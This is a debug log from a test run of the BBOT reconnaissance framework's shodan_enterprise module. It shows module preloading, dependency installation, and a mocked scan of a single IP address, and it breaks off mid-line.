[DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-02 09:01:53,793 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-02 09:01:53,794 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-02 09:01:53,794 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-02 09:01:53,795 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-02 09:01:53,795 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-02 09:01:53,796 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-02 09:01:53,799 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-02 09:01:53,799 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-02 09:01:53,800 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-02 09:01:53,800 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-02 09:01:53,801 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-02 09:01:53,801 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-02 09:01:53,802 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-02 09:01:53,802 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-02 09:01:53,802 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-02 09:01:53,803 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-02 09:01:53,803 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-02 09:01:53,804 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-02 09:01:53,804 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-02 09:01:53,805 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-02 09:01:53,805 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-02 09:01:53,806 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-02 09:01:53,806 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-02 09:01:53,807 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-02 09:01:53,807 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-02 09:01:53,807 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-02 09:01:53,808 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-02 09:01:53,808 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-02 09:01:53,809 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-02 09:01:53,809 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-02 09:01:53,809 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-02 09:01:53,810 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-02 09:01:53,810 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-02 09:01:53,811 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-02 09:01:53,812 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-02 09:01:53,812 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-02 09:01:53,813 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-02 09:01:53,813 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-02 09:01:53,813 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-02 09:01:53,814 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-02 09:01:53,814 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-02 09:01:53,814 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-02 09:01:53,815 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-02 09:01:53,815 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-02 09:01:53,816 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-02 09:01:53,816 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-02 09:01:53,816 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-02 09:01:53,817 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-02 09:01:53,817 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-02 09:01:53,818 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-02 09:01:53,818 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-02 09:01:53,818 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-02 09:01:53,819 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-02 09:01:53,819 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-02 09:01:53,819 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-02 09:01:53,820 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-02 09:01:53,820 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-02 09:01:53,821 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-02 09:01:53,821 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-02 09:01:53,822 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-02 09:01:53,822 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-02 09:01:53,822 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-02 09:01:53,823 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-02 09:01:53,823 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-02 09:01:53,824 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-02 09:01:53,824 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-02 09:01:53,825 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-02 09:01:53,825 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-02 09:01:53,826 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-02 09:01:53,826 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-02 09:01:53,826 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-02 09:01:53,827 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-02 09:01:53,827 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-02 09:01:53,828 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-02 09:01:53,828 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-02 09:01:53,828 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-02 09:01:53,829 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-02 09:01:53,829 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-02 09:01:53,829 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-02 09:01:53,830 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-02 09:01:53,830 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-02 09:01:53,831 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-02 09:01:53,831 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-02 09:01:53,831 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-02 09:01:53,832 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-03-02 09:01:53,832 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-02 09:01:53,832 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-02 09:01:53,833 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-02 09:01:53,833 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-02 09:01:53,834 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-02 09:01:53,834 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-02 09:01:53,834 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-03-02 09:01:53,835 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-02 09:01:53,835 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-02 09:01:53,836 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-02 09:01:53,836 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-02 09:01:53,837 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-02 09:01:53,837 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-02 09:01:53,838 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-02 09:01:53,838 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-02 09:01:53,839 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-02 09:01:53,839 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-02 09:01:53,840 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-02 09:01:53,840 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-02 09:01:53,841 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-02 09:01:53,841 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-02 09:01:53,841 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-02 09:01:53,842 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-02 09:01:53,842 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-02 09:01:53,843 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-02 09:01:53,843 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-02 09:01:53,844 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-02 09:01:53,844 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-02 09:01:53,845 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-03-02 09:01:54,777 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:01:54,778 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:01:54,778 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-02 09:01:54,874 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-02 09:01:55,270 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-02 09:01:55,270 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-02 09:01:55,270 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-02 09:01:55,270 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-02 09:01:55,404 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-02 09:01:55,406 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-02 09:01:55,518 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-02 09:01:55,522 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-02 09:01:55,547 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-03-02 09:01:55,550 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-02 09:01:55,550 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-03-02 09:01:56,059 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-02 09:01:56,060 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-02 09:01:59,298 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-03-02 09:01:59,298 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-02 09:01:59,299 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-03-02 09:02:03,145 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-03-02 09:02:03,146 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-03-02 09:02:03,149 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:02:03,150 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-03-02 09:02:03,150 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:02:03,150 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-03-02 09:02:03,150 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:02:03,151 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-03-02 09:02:03,151 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-03-02 09:02:03,151 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. -2026-03-02 09:02:03,151 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" -2026-03-02 09:02:03,151 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan -2026-03-02 09:02:03,154 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/aq48sl19aqxy8vq26wpi -2026-03-02 09:02:03,967 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) -2026-03-02 09:02:03,968 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-03-02 09:02:03,968 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise -2026-03-02 09:02:04,035 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" -2026-03-02 09:02:04,036 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-03-02 09:02:04,036 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-03-02 09:02:04,038 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-03-02 09:02:04,039 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-03-02 09:02:04,039 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-03-02 09:02:04,039 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-03-02 09:02:04,040 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-03-02 09:02:04,040 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-03-02 09:02:04,040 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-03-02 09:02:04,041 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-03-02 09:02:04,041 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-03-02 09:02:04,041 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-03-02 09:02:04,041 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-03-02 09:02:04,042 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-02 09:02:04,042 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-02 09:02:04,042 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-02 09:02:04,042 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-02 09:02:04,043 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-02 09:02:04,043 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-02 09:02:04,043 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-02 09:02:04,043 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-02 09:02:04,043 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-02 09:02:04,044 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-02 09:02:04,044 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-02 09:02:04,044 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-02 09:02:04,044 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-02 09:02:04,044 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-02 09:02:04,045 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-02 09:02:04,045 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-02 09:02:04,045 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-02 09:02:04,045 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-02 09:02:04,045 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-02 09:02:04,045 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-02 09:02:04,046 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-02 09:02:04,046 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-02 09:02:04,046 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-02 09:02:04,046 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-02 09:02:04,047 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-02 09:02:04,047 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-02 09:02:04,047 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-02 09:02:04,047 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-02 09:02:04,047 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-03-02 09:02:04,048 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-02 09:02:04,048 [DEBUG] bbot base.py:111 Starting scan -2026-03-02 09:02:04,129 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_oygimtz0xw -2026-03-02 09:02:04,130 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-03-02 09:02:04,200 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-03-02 09:02:04,200 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-02 09:02:04,200 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-02 09:02:04,202 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-03-02 09:02:04,301 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) passed post-check -2026-03-02 09:02:04,302 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) -2026-03-02 09:02:04,303 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'distance-1'}) in-scope because its main host matches the scan target -2026-03-02 09:02:04,303 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 09:02:04,305 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:02:04,305 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:02:04,306 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-02 09:02:04,306 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 09:02:04,307 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:02:04,308 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:02:04,309 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:02:04,310 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:02:04,310 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:02:04,311 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:02:04,312 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-02 09:02:04,314 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 09:02:04,314 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-02 09:02:04,314 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 09:02:04,315 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 09:02:04,315 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-02 09:02:04,316 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-03-02 09:02:04,316 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-02 09:02:04,316 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-02 09:02:04,316 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 09:02:04,319 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-03-02 09:02:04,402 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-02 09:02:04,403 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:cd0f4701c4c528c3c2e2d98649fac53a567f08eb', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:02:04,404 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-03-02 09:02:04,404 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-03-02 09:02:04,408 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:02:04,408 [DEBUG] bbot.modules._scan_ingress base.py:1563 